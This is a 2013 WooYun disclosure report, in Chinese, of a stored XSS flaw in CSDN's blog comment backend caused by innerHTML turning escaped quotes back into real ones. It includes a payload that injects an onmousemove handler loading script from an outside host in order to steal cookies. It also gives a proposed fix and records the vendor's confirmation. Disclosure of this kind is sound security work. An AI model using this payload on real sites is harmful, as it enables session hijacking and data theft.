当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-033448

漏洞标题:CSDN XSS第三弹:忽视innerHTML特性导致xss

相关厂商:CSDN开发者社区

漏洞作者: 橙夏

提交时间:2013-08-04 11:30

修复时间:2013-09-18 17:33

公开时间:2013-09-18 17:33

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-04: 细节已通知厂商并且等待厂商处理中
2013-08-05: 厂商已经确认,细节仅向厂商公开
2013-08-15: 细节向核心白帽子及相关领域专家公开
2013-08-25: 细节向普通白帽子公开
2013-09-04: 细节向实习白帽子公开
2013-09-18: 细节向公众公开

简要描述:

CSDN忽视浏览器特性而产生了漏洞,可惜无法大面积使用。

详细说明:

漏洞出现在博客,读取HTML内容时没有对引号进行转义,且无长度限制,成功获取cookie。
1、首先在我旧账号的博客里,发布如下两条评论(http://blog.csdn.net/llbbzh/article/details/9736979)

01.png


2、用旧账号进入博客的评论管理后台(http://write.blog.csdn.net/feedback)

02.png


3、可以看到test属性已成功进入HTML标签

03.png


4、和前面提交过的漏洞一样,构造代码
"
class="MikuXSS"
onmousemove="$.getScript('http://mikuxss.sinaapp.com/NyaNya');$('.MikuXSS').hide();"
style="font-size:1px;width:100%;height:100%;position:absolute;left:0px;top:0px;cursor:default;

04.png


5、这个漏洞的成因是,CSDN的博客后端向HTML输出的是UBB代码,于是前端用这一句话来处理:

formatFeedback(this.innerHTML)

而虽然引号已转义为

"

,但使用innerHTML读取文章内容时,会自动变回引号,导致过滤失效。

051.png


052.png

漏洞证明:

用旧账号再次登录后台(实际情况中可以诱拐攻击对象进入后台)

a00.png


成功获取cookie

a01.png

修复方案:

http://csdnimg.cn/pig/blog/write/scripts/feedback.js
把第10行的

this.innerHTML = formatFeedback(this.innerHTML);

改为

this.innerHTML = formatFeedback(this.innerHTML.replace("\"","""));//只有一个反斜线。

版权声明:转载请注明来源 橙夏@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-08-05 09:35

厂商回复:

尽快修复

最新状态:

2013-08-05:已经修复漏洞,感谢。